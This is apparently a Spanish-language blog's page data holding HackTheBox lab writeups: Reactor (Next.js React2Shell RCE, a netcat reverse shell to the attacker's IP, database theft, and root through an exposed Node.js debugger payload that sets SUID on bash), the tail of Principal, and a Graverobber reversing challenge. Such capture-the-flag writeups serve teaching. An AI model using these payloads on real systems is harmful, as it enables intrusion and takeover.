payload (120 s max)... [*] t+1s: payload=exists dpkg_lock=free suid=not yet [*] t+2s: payload=exists dpkg_lock=free suid=not yet [*] t+3s: payload=exists dpkg_lock=free suid=not yet [+] SUCCESS — SUID bash at t+2300ms uid=1001(svc-deploy) gid=1002(svc-deploy) euid=0(root) groups=1002(svc-deploy),1001(deployers) .suid_bash: cannot set terminal process group (-1): Inappropriate ioctl for device .suid_bash: no job control in this shell .suid_bash-5.2# whoami root Y tenemos root.\n","date":"25 de mayo de 2026","externalUrl":null,"permalink":"/writeups/principal/","section":"Writeups","summary":"OS: Linux | Dificultad: Medium | Conceptos: Jetty, JWT, CVE Público, Reutilización de contraseñas, TOCTOU","title":"HackTheBox - Principal","type":"writeups"},{"content":"","date":"25 de mayo de 2026","externalUrl":null,"permalink":"/tags/jetty/","section":"Tags","summary":"","title":"Jetty","type":"tags"},{"content":"","date":"25 de mayo de 2026","externalUrl":null,"permalink":"/tags/jwe/","section":"Tags","summary":"","title":"JWE","type":"tags"},{"content":"","date":"24 de mayo de 2026","externalUrl":null,"permalink":"/tags/db/","section":"Tags","summary":"","title":"DB","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. 2h Datos Iniciales: 10.129.3.111 Nmap Scan y enumeración # Primero, añadimos reactor.htb a /etc/hosts.\nTras hacer un escaneo completo de puertos, se encuentran los siguientes abiertos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 sudo nmap -sT -Pn --disable-arp-ping -p- reactor.htb # Encuentra 22,3000 sudo nmap -sT -Pn --disable-arp-ping -p22,3000 -sVC reactor.htb PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA) |_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519) 3000/tcp open ppp? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding | x-nextjs-cache: HIT | x-nextjs-prerender: 1 | x-nextjs-stale-time: 4294967294 | X-Powered-By: Next.js | Cache-Control: s-maxage=31536000, | ETag: \u0026#34;p02u6gnhufd8t\u0026#34; | Content-Type: text/html; charset=utf-8 | Content-Length: 17175 | Date: Sun, 24 May 2026 17:42:36 GMT | Connection: close | \u0026lt;!DOCTYPE html\u0026gt;\u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt;\u0026lt;head\u0026gt;\u0026lt;meta charSet=\u0026#34;utf-8\u0026#34;/\u0026gt;\u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1\u0026#34;/\u0026gt;\u0026lt;link rel=\u0026#34;stylesheet\u0026#34; href=\u0026#34;/_next/static/css/414e1be982bc8557.css\u0026#34; data-precedence=\u0026#34;next\u0026#34;/\u0026gt;\u0026lt;link rel=\u0026#34;preload\u0026#34; as=\u0026#34;script\u0026#34; fetchPriority=\u0026#34;low\u0026#34; href=\u0026#34;/_next/static/chunks/webpack-db0a529a99835594.js\u0026#34;/\u0026gt;\u0026lt;script src=\u0026#34;/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js\u0026#34; async=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;script src=\u0026#34;/_next/static/chunks/517-d083b552e04dead1.js\u0026#34; async=\u0026#34;\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;script s | HTTPOptions: | HTTP/1.1 400 Bad Request | vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch | Allow: GET | Allow: HEAD | Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate | Date: Sun, 24 May 2026 17:42:36 GMT | Connection: close | Help, NCP, RPCCheck: | HTTP/1.1 400 Bad Request | Connection: close | RTSPRequest: | HTTP/1.1 400 Bad Request | vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch | Allow: GET | Allow: HEAD | Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate | Date: Sun, 24 May 2026 17:42:37 GMT |_ Connection: close 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.99%I=7%D=5/24%Time=6A13388C%P=x86_64-pc-linux-gnu%r(Ge ...[SNIP]... SF:nConnection:\\x20close\\r\\n\\r\\n\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP 22/tcp (OpenSSH 9.6p1 Ubuntu): Vulnerable a RegreSSHion, pero irrelevante aquí. Lo consideramos no vulnerable. 3000/tcp (ppp? según nmap): Aunque nmap dice que el servicio es ppp (y también dice que no tiene ni idea, con el \u0026ldquo;1 service unrecognized despite returning data\u0026rdquo;), el header X-Powered-By nos indica que usa Next.js Nota: Protocolo PPP PPP se usó históricamente como protocolo de la capa de enlace de datos (OSI 2) para que dos nodos de red pudiesen comunicarse sin intermediarios. Servía para tener una conexión con Internet a través de módems y líneas telefónicas o para que dos routers se comunicasen punto a punto. En este caso nmap lo propone como posible servicio, pero porque las firmas de las respuestas del servidor no coinciden con ninguna de las que tiene guardadas y elige su última alternativa.\nSegún Wikipedia:\nNext.js es un marco web de desarrollo front-end de React de código abierto creado por Vercel que habilita funcionalidades como la representación del lado del servidor y la generación de sitios web estáticos para aplicaciones web basadas en React. Es un marco listo para producción que permite a los desarrolladores crear rápidamente sitios JAMstack estáticos y dinámicos y es ampliamente utilizado por muchas grandes empresas.\nYa sabiendo que NextJS usa React, es muy posible que sea el motivo por el cual la máquina recibe su nombre.\nPuerto 3000: HTTP con NextJS # Reactorwatch # Si entramos en la página: Nos encontramos un panel de control de lo que parece ser un reactor nuclear. Se usa el servicio \u0026ldquo;CORE MONITORING SYSTEM v3.2.1\u0026rdquo;, que no parece algo muy estándar.\nAdemás, los datos que aporta la página indican que se trata de una central de fisión nuclear, dado que las barras de control se usan únicamente en centrales de fisión, no de fusión, y las temperaturas del núcleo en centrales de fusión suelen estar a millones de grados, no a ~300º, como este.\nMás allá de esto, no hay nada con lo que podamos interactuar en la página.\nReact2Shell # Si miramos la versión de Next.js con Wappalyzer: Se usa Next.js 15.0.3. Si buscamos más info acerca de esta versión:\nReact2Shell (CVE-2025-66478, CVE-2025-55182): This flaw allows attackers to send crafted HTTP requests with malicious RSC payloads. The server improperly deserializes these payloads, allowing the attacker to execute arbitrary code or call built-in Node.js modules without any credentials.\nEncontramos un PoC para esta vulnerabilidad.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ python3 scanner.py -u http://reactor.htb -p 3000 -k brought to you by assetnote [*] Loaded 1 host(s) to scan [*] Using 10 thread(s) [*] Timeout: 10s [*] Using RCE PoC check [!] SSL verification disabled [VULNERABLE] http://reactor.htb:3000 - Status: 303 ============================================================ SCAN SUMMARY ============================================================ Total hosts scanned: 1 Vulnerable: 1 Not vulnerable: 0 Errors: 0 ============================================================ [+] Vulnerable hosts written to: vulnerable.txt Si probamos a ejecutar el exploit:\n1 2 3 4 5 6 $ python3 main.py http://reactor.htb:3000 \u0026#39;id\u0026#39; [*] Connecting to reactor.htb:3000 (http) [*] Sending payload with command: id [*] Response received, parsing output... [+] Command output: uid=999(node) gid=988(node) groups=988(node) Hemos conseguido RCE. Ahora intentamos conseguir un reverse shell:\n1 2 3 $ penelope -i 10.10.15.89 [+] Listening for reverse shells on 10.10.15.89:4444 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) Mandamos el payload:\n1 2 3 $ python3 main.py http://reactor.htb:3000 \u0026#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.15.89 4444 \u0026gt;/tmp/f\u0026#39; [*] Connecting to reactor.htb:3000 (http) [*] Sending payload with command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.15.89 4444 \u0026gt;/tmp/f Y conseguimos el shell:\n1 2 3 4 5 6 7 [+] Got reverse shell from reactor~10.129.3.111-Linux-x86_64 😍️ Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/kali/.penelope/sessions/reactor~10.129.3.111-Linux-x86_64/2026_05_24-14_53_41-359.log 📜 node@reactor:/opt/reactor-app$ Privesc # Intento de conexión por SSH # Antes de nada, intentamos crear un par de claves SSH por si acaso perdemos el shell:\n1 2 $ ssh-keygen -t rsa ... 1 2 node@reactor:/opt/reactor-app$ mkdir ~/.ssh node@reactor:/opt/reactor-app$ nano ~/.ssh/authorized_keys #Añadimos la pública Y nos conectamos:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ ssh -i reactornode node@reactor.htb ____ _____ _ ____ _____ ___ ____ | _ \\| ____| / \\ / ___|_ _/ _ \\| _ \\ | |_) | _| / _ \\| | | || | | | |_) | | _ \u0026lt;| |___ / ___ \\ |___ | || |_| | _ \u0026lt; |_| \\_\\_____/_/ \\_\\____| |_| \\___/|_| \\_\\ ReactorWatch Core Monitoring System Nuclear Dynamics Corp. - Site 7 AUTHORIZED PERSONNEL ONLY This account is currently not available. Connection to reactor.htb closed. Al parecer está prohibido conectarse por SSH, nos tendremos que conformar con el shell que tenemos.\nDB hasta Engineer # Si miramos el directorio en el que hemos aparecido (/opt/reactor-app), vemos un archivo de nombre reactor.db:\n1 2 node@reactor:/opt/reactor-app$ ls app next.config.js node_modules package.json package-lock.json reactor.db Podemos probar a copiarlo a nuestra máquina, p.ej pasándolo a base64:\n1 2 3 4 5 6 node@reactor:/opt/reactor-app$ cat reactor.db | base64 U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAABwAAAAMAAAAAAAAAAAAAAAIAAAAEAAAAAAAAAAAA AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHAC52iQ0AAAACDooAD1AOigAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... # Copiamos todo esto Ahora lo pegamos y miramos qué hay dentro.\n1 2 3 4 5 6 $ nano base64reactordb $ cat base64reactordb | base64 -d \u0026gt; reactor.db $ sqlite3 reactor.db \u0026#34;SELECT id, username, password_hash FROM users;\u0026#34; 1|admin|a203b22191d744a4e70ada5c101b17b8 2|engineer|39d97110eafe2a9a68639812cd271e8e Tenemos dos nombres de usuario con sus respectivos hashes, al parecer MD5, así que posiblemente no nos cueste mucho crackearlos.\nTras subirlos a Crackstation vemos que ya tenemos las credenciales de un usuario: engineer:reactor1.\nY ahora finalmente probamos otra vez a conectarnos a SSH, y conseguimos entrar:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $ ssh engineer@reactor.htb engineer@reactor.htb\u0026#39;s password: ____ _____ _ ____ _____ ___ ____ | _ \\| ____| / \\ / ___|_ _/ _ \\| _ \\ | |_) | _| / _ \\| | | || | | | |_) | | _ \u0026lt;| |___ / ___ \\ |___ | || |_| | _ \u0026lt; |_| \\_\\_____/_/ \\_\\____| |_| \\___/|_| \\_\\ ReactorWatch Core Monitoring System Nuclear Dynamics Corp. - Site 7 AUTHORIZED PERSONNEL ONLY Last login: Sun May 24 19:06:41 2026 from 10.10.15.89 engineer@reactor:~$ Engineer hasta Root # Probamos a ejecutar sudo, pero nada:\n1 2 3 engineer@reactor:~$ sudo -l [sudo] password for engineer: Sorry, user engineer may not run sudo on reactor. Miramos archivos con SUID Bit, pero tampoco vemos nada fuera de lo común:\n1 2 3 4 5 6 7 8 9 10 11 12 13 engineer@reactor:/home$ find / -perm -4000 2\u0026gt;/dev/null /usr/bin/chfn /usr/bin/umount /usr/bin/gpasswd /usr/bin/passwd /usr/bin/chsh /usr/bin/sudo /usr/bin/fusermount3 /usr/bin/newgrp /usr/bin/mount /usr/bin/su /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/polkit-1/polkit-agent-helper-1 Puertos en localhost # Si miramos puertos locales en escucha, encontramos uno, 127.0.0.1:9229:\n1 2 3 engineer@reactor:/home$ netstat -tunlp | grep 127.0.0.1 (No info could be read for \u0026#34;-p\u0026#34;: geteuid()=1000 but you should be root.) tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN - Hacemos port forwarding y echamos un vistazo para ver qué es.\n1 2 3 4 5 $ ssh -fN -L 9229:localhost:9229 engineer@reactor.htb engineer@reactor.htb\u0026#39;s password: $ curl localhost:9229 WebSockets request was expected Se nos indica que se necesita una solicitud WebSockets, para hacerla podemos cambiar el protocolo http por ws o wss (cifrado) en la url:\n1 2 $ curl ws://localhost:9229 curl: (22) Refused WebSocket upgrade: 400 Si hacemos una búsqueda para más contexto, encontramos lo siguiente:\nPort 9229 is the default port used by Node.js for the debugging inspector, which allows developers to connect debugging clients like Chrome DevTools to their Node.js applications.\nEl problema es que al parecer necesitamos conocer el endpoint al que conectarnos por WebSockets, pero para ello podemos hacer la siguiente solicitud:\n1 2 3 4 5 6 7 8 9 10 11 12 $ curl http://localhost:9229/json [ { \u0026#34;description\u0026#34;: \u0026#34;node.js instance\u0026#34;, \u0026#34;devtoolsFrontendUrl\u0026#34;: \u0026#34;devtools://devtools/bundled/js_app.html?experiments=true\u0026amp;v8only=true\u0026amp;ws=localhost:9229/55e2021a-348d-4566-a837-a8aa04735d78\u0026#34;, \u0026#34;devtoolsFrontendUrlCompat\u0026#34;: \u0026#34;devtools://devtools/bundled/inspector.html?experiments=true\u0026amp;v8only=true\u0026amp;ws=localhost:9229/55e2021a-348d-4566-a837-a8aa04735d78\u0026#34;, \u0026#34;faviconUrl\u0026#34;: \u0026#34;https://nodejs.org/static/images/favicons/favicon.ico\u0026#34;, \u0026#34;id\u0026#34;: \u0026#34;55e2021a-348d-4566-a837-a8aa04735d78\u0026#34;, \u0026#34;title\u0026#34;: \u0026#34;/opt/uptime-monitor/worker.js\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;node\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;file:///opt/uptime-monitor/worker.js\u0026#34;, \u0026#34;webSocketDebuggerUrl\u0026#34;: \u0026#34;ws://localhost:9229/55e2021a-348d-4566-a837-a8aa04735d78\u0026#34; } ] Y aquí tenemos el endpoint: ws://localhost:9229/55e2021a-348d-4566-a837-a8aa04735d78.\nAdemás, para conectarnos y mandar/recibir datos también necesitamos instalar wscat, curl no sirve.\n1 2 sudo npm install -g wscat added 9 packages in 566ms Ahora probamos a conectarnos y mandar un ping:\n1 2 3 4 $ wscat -c ws://localhost:9229/55e2021a-348d-4566-a837-a8aa04735d78 Connected (press CTRL+C to quit) \u0026gt; {\u0026#34;id\u0026#34;:1,\u0026#34;method\u0026#34;:\u0026#34;Runtime.evaluate\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;expression\u0026#34;:\u0026#34;1+1\u0026#34;}} \u0026lt; {\u0026#34;id\u0026#34;:1,\u0026#34;result\u0026#34;:{\u0026#34;result\u0026#34;:{\u0026#34;type\u0026#34;:\u0026#34;number\u0026#34;,\u0026#34;value\u0026#34;:2,\u0026#34;description\u0026#34;:\u0026#34;2\u0026#34;}}} Hemos mandado 1+1, se nos ha devuelto 2, así que la conexión funciona. Ahora podemos ejecutar comandos del sistema con el siguiente payload:\n1 2 \u0026gt; {\u0026#34;id\u0026#34;: 4, \u0026#34;method\u0026#34;: \u0026#34;Runtime.evaluate\u0026#34;, \u0026#34;params\u0026#34;: {\u0026#34;expression\u0026#34;: \u0026#34;process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;id\u0026#39;).toString()\u0026#34;, \u0026#34;returnByValue\u0026#34;: true}} \u0026lt; {\u0026#34;id\u0026#34;:4,\u0026#34;result\u0026#34;:{\u0026#34;result\u0026#34;:{\u0026#34;type\u0026#34;:\u0026#34;string\u0026#34;,\u0026#34;value\u0026#34;:\u0026#34;uid=0(root) gid=0(root) groups=0(root)\\n\u0026#34;}}} Y si nos fijamos en el output, ya tenemos root. Ahora solo faltaría tener algo más práctico que una conexión por WebSockets, podemos dar el bit SUID a bash:\n1 2 \u0026gt; {\u0026#34;id\u0026#34;: 4, \u0026#34;method\u0026#34;: \u0026#34;Runtime.evaluate\u0026#34;, \u0026#34;params\u0026#34;: {\u0026#34;expression\u0026#34;: \u0026#34;process.mainModule.require(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;chmod +s /bin/bash\u0026#39;).toString()\u0026#34;, \u0026#34;returnByValue\u0026#34;: true}} \u0026lt; {\u0026#34;id\u0026#34;:4,\u0026#34;result\u0026#34;:{\u0026#34;result\u0026#34;:{\u0026#34;type\u0026#34;:\u0026#34;string\u0026#34;,\u0026#34;value\u0026#34;:\u0026#34;\u0026#34;}}} Si ahora volvemos a SSH, vemos que el flag está puesto, así que ejecutamos bash:\n1 2 3 4 5 engineer@reactor:/home$ ls -al /bin/bash -rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash engineer@reactor:/home$ /bin/bash -p bash-5.2# Y hemos acabado.\n","date":"24 de mayo de 2026","externalUrl":null,"permalink":"/writeups/reactor/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: NextJS, React2Shell, DB, Puerto local, WebSockets","title":"HackTheBox - Reactor","type":"writeups"},{"content":"","date":"24 de mayo de 2026","externalUrl":null,"permalink":"/tags/nextjs/","section":"Tags","summary":"","title":"NextJS","type":"tags"},{"content":"","date":"24 de mayo de 2026","externalUrl":null,"permalink":"/tags/react2shell/","section":"Tags","summary":"","title":"React2Shell","type":"tags"},{"content":"","date":"24 de mayo de 2026","externalUrl":null,"permalink":"/tags/websockets/","section":"Tags","summary":"","title":"WebSockets","type":"tags"},{"content":"","date":"20 de mayo de 2026","externalUrl":null,"permalink":"/tags/ghidra/","section":"Tags","summary":"","title":"Ghidra","type":"tags"},{"content":"CHALLENGE DESCRIPTION\nWe\u0026rsquo;re breaking into the catacombs to find a rumoured great treasure - I hope there\u0026rsquo;s no vengeful spirits down there\u0026hellip;\nArchivos iniciales:\nrobber: ELF 64-bit LSB pie executable, x86-64. Análisis inicial # Ejecución # Antes de descompilarlo, vemos qué hace el binario:\n1 2 3 4 5 6 7 8 9 10 11 ./robber We took a wrong turning! echo \u0026#34;parametro\u0026#34; | ./robber We took a wrong turning! ./robber 123 We took a wrong turning! ./robber test We took a wrong turning! En cualquier caso, el resultado es el mismo, un output \u0026ldquo;We took a wrong turning!\u0026rdquo;.\nFile # Si miramos específicamente el tipo de archivo y sus características:\n1 2 file robber robber: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=972b4d1424b8cd4916e26b94ebb6257f970e4cbb, for GNU/Linux 4.4.0, not stripped Vemos que pone not stripped, lo que indica que se mantienen símbolos de debugging. Poco más podemos sacar de aquí.\nStrings # Ahora, si miramos las strings del binario:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 strings robber /lib64/ld-linux-x86-64.so.2 puts __stack_chk_fail stat __libc_start_main __cxa_finalize libc.so.6 GLIBC_2.33 GLIBC_2.4 GLIBC_2.2.5 GLIBC_2.34 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable PTE1 u3UH We took a wrong turning! We found the treasure! (I hope it\u0026#39;s not cursed) ;*3$\u0026#34; GCC: (GNU) 14.2.1 20240805 GCC: (GNU) 14.2.1 20240910 main.c _DYNAMIC __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_start_main@GLIBC_2.34 _ITM_deregisterTMCloneTable puts@GLIBC_2.2.5 _edata _fini __stack_chk_fail@GLIBC_2.4 parts __data_start Aquí podemos ver un string interesante: \u0026ldquo;We found the treasure! (I hope it\u0026rsquo;s not cursed)\u0026rdquo;. Todavía no sabemos cómo llegar a él, así que tendremos que seguir mirando.\nDescompilando # Tras el análisis inicial, ahora toca descompilar el binario. Al importarlo a Ghidra, vemos que cuenta con una sola función, main():\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 undefined8 main(void) { int iVar1; undefined8 uVar2; long in_FS_OFFSET; uint local_ec; stat local_e8; char local_58 [72]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_58[0] = \u0026#39;\\0\u0026#39;; ...[SNIP]... local_58[0x43] = \u0026#39;\\0\u0026#39;; local_ec = 0; do { if (0x1f \u0026lt; local_ec) { puts(\u0026#34;We found the treasure! (I hope it\\\u0026#39;s not cursed)\u0026#34;); uVar2 = 0; LAB_00101256: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; } local_58[(int)(local_ec * 2)] = (char)*(undefined4 *)(parts + (long)(int)local_ec * 4); local_58[(int)(local_ec * 2 + 1)] = \u0026#39;/\u0026#39;; iVar1 = stat(local_58,\u0026amp;local_e8); if (iVar1 != 0) { puts(\u0026#34;We took a wrong turning!\u0026#34;); uVar2 = 1; goto LAB_00101256; } local_ec = local_ec + 1; } while( true ); } Podemos empezar a renombrar variables:\nlocal_10 es el Stack Canary, lo cambiamos a STACK_CANARY uVar2 es el valor que devuelve el programa, lo cambiamos a returnVal local_58 es un array de char cuyos elementos inician inicializados a cero. Como no sabemos si representa un string completo o es simplemente un array de caracteres, de momento lo cambiamos a array. Además vemos que al inicio del programa se entra en un bucle infinito (do while), en el que se comprueba si local_ec \u0026gt; 31. Si es así, entonces se imprime por pantalla el string \u0026ldquo;We found the treasure!\u0026hellip;\u0026rdquo;:\n1 2 3 4 5 6 7 8 local_ec = 0; do { if (31 \u0026lt; local_ec) { puts(\u0026#34;We found the treasure! (I hope it\\\u0026#39;s not cursed)\u0026#34;); returnVal = 0; ... } } while (true) local_ec se inicializa a cero, y al final de cada iteración se le suma uno. Esto significa que de algún modo, para conseguir el tesoro, tenemos que descubrir cómo aguantar 32 iteraciones sin tomar el camino malo.\nAnálisis del bucle # Para simplificar todo, ignoramos la comprobación del stack canary. De momento el bucle queda algo como:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 do { if (31 \u0026lt; iteración) { puts(\u0026#34;We found the treasure! (I hope it\\\u0026#39;s not cursed)\u0026#34;); returnVal = 0; LAB_00101256: return returnVal; } array[(int)(iteración * 2)] = (char)*(undefined4 *)(parts + (long)(int)iteración * 4); array[(int)(iteración * 2 + 1)] = \u0026#39;/\u0026#39;; iVar1 = stat(array,\u0026amp;local_e8); if (iVar1 != 0) { puts(\u0026#34;We took a wrong turning!\u0026#34;); returnVal = 1; goto LAB_00101256; } iteración = iteración + 1; } while( true ); Esto puede simplificarse para quitarnos de encima el LAB_00101256, que simplemente es un salto al return. Además, ajustamos un poco el código:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 do { if (31 \u0026lt; iteración) { puts(\u0026#34;We found the treasure! (I hope it\\\u0026#39;s not cursed)\u0026#34;); return 0; } array[(int)(iteración * 2)] = (char)*(undefined4 *)(parts + (long)(int)iteración * 4); array[(int)(iteración * 2 + 1)] = \u0026#39;/\u0026#39;; iVar1 = stat(array,\u0026amp;local_e8); if (iVar1 != 0) { puts(\u0026#34;We took a wrong turning!\u0026#34;); return 1; } iteración++; } while(true); Aquí vemos que la condición para resistir una iteración más es que iVar1 sea igual a cero, y el valor de iVar1 en cada iteración nos lo da la instrucción anterior: stat().\nTras una búsqueda, esta instrucción hace lo siguiente:\nIn C, stat() is used to get information about a file, such as its size, permissions, owner, and timestamps. It takes a file path and a struct stat buffer, and on success it returns 0; on failure it returns -1 and sets errno.\n1 2 3 // \u0026#34;path\u0026#34; is the file name or path // \u0026#34;buf\u0026#34; is where the file metadata is stored. int stat(const char *path, struct stat *buf); Esto significa que en cada iteración estamos pasando el nombre de un archivo, o una ruta, que está almacenada en el array (como string) a la función stat(). Si el archivo existe y se procesa bien, entonces stat() devuelve 0 y la iteración sigue. Si el archivo no existe, devuelve -1 y se termina (\u0026quot;We took a wrong turning!\u0026quot;). En cualquier caso, los metadatos del archivo (*buf) se ignoran completamente, lo importante es el return de stat().\nEsos nombres de archivos que se le pasan a stat son exactamente el string formado por el array, sin un prefijo añadido, por lo que necesitamos que estén en el mismo directorio.\nArchivos necesarios y array \u0026ldquo;parts\u0026rdquo; # Para ver los nombres de archivo necesarios nos fijamos en estas dos instrucciones:\n1 2 3 // recordemos que array[] es el nombre de archivo. array[(int)(iteración * 2)] = (char)*(undefined4 *)(parts + (long)(int)iteración * 4); array[(int)(iteración * 2 + 1)] = \u0026#39;/\u0026#39;; El problema es que no sabemos qué es parts. No se definía al inicio del programa y no aparece en ningún otro lado. Si vamos a los datos guardados:\nVemos que es un array de datos, cuyo tipo desconocemos. Para hacernos una idea de qué puede ser, cambiamos el tipo de datos a char, y ahí encontramos lo siguiente:\nY al parecer aquí ya tenemos el flag, así que ni siquiera vamos a necesitar analizar los archivos que necesitamos para llegar al final, podemos empezar a ver: HTB{br34k1....\nAunque podríamos sacarlo a mano, sería más conveniente poder cambiar el tipo de dato. Si nos fijamos en la imagen anterior, vemos que entre una letra y otra tenemos 3 bytes completos de 0x00. Esto significa que cada letra ocupa 4 bytes, así que en lugar de ASCII, tendríamos que formatear el array como UTF-32 (o Unicode32):\nY tenemos el flag.\nPodríamos preguntarnos que cómo es que strings no nos ha mostrado el flag al inicio si es que parts era un array completamente estático que estaba ahí desde el inicio. El problema es la codificación.\nEl flag estaba en UTF32 (Unicode32), y strings, por defecto, busca solamente cadenas codificadas en ASCII formadas por 4 o más caracteres. Esto significa que por un lado no estaba detectando el flag por estar en UTF32, y por otro lado no estaba mostrando las letras del flag individualmente porque todas tenían una longitud de 1 en ASCII (Todas eran la letra seguida de 3 0x00\u0026rsquo;s, por lo que cada letra era un string de longitud 1 + el null byte).\nSi ahora, sabiendo esto, probamos a ejecutar strings con el parámetro -e L, se nos mostrarán todas las cadenas formadas por caracteres en Little Endian y de 32 bits, por lo que obtendremos el flag directamente sin descompilar ni tocar nada.\n1 2 strings -e L robber HTB{br34k1n9_d0wn_th3_sysc4ll5} ","date":"20 de mayo de 2026","externalUrl":null,"permalink":"/writeups/graverobber/","section":"Writeups","summary":"OS: Linux | Dificultad: Easy | Conceptos: Reversing, Ghidra.","title":"HackTheBox - Graverobber","type":"writeups"},{"content":"","date":"20 de mayo de 2026","externalUrl":null,"permalink":"/tags/reversing/","section":"Tags","summary":"","title":"Reversing","type":"tags"},{"content":"","date":"11 de abril de 2026","externalUrl":null,"permalink":"/tags/docker/","section":"Tags","summary":"","title":"Docker","type":"tags"},{"content":"","date":"11 de abril de 2026","externalUrl":null,"permalink":"/tags/git/","section":"Tags","summary":"","title":"Git","type":"tags"},{"content":"","date":"11 de abril de 2026","externalUrl":null,"permalink":"/tags/gogs/","section":"Tags","summary":"","title":"Gogs","type":"tags"},{"content":" Dificultad: easy Tiempo aprox. ~5h Datos Iniciales: 10.129.19.233 Enumeración inicial # Tras realizar un escaneo de puertos completo, se encuentran los siguientes puertos abiertos:\n1 2 3 4 5 6 7 8 9 10 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA) |_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: Silentium | Institutional Capital \u0026amp; Lending Solutions Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel # Nada en UDP Probamos a escanear subdominios/vhosts antes de entrar a la web principal:\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ gobuster vhost --url http://silentium.htb -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -ad =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://silentium.htb [+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt [+] Append Domain: true =============================================================== Starting gobuster in VHOST enumeration mode =============================================================== staging.silentium.htb Status: 200 [Size: 3142] Apuntamos staging.silentium.htb y lo añadimos a /etc/hosts.\nDominio principal # Al entrar, encontramos una página que anuncia que Silentium es una \u0026ldquo;entidad financiera institucional que ofrece préstamos estructurados, crédito privado y soluciones de capital a medida a contrapartes cualificadas de todo el mundo.\u0026rdquo;\nAdemás, ofrecen una calculadora para calcular amortizaciones de préstamos en un número de períodos determinados.\nSi por curiosidad calculamos el interés anual, vemos que\n$$ 102454.23 = 1200000 \\times \\frac{i_{12}}{1-(1+i_{12})^{-12}} $$ 1 2 3 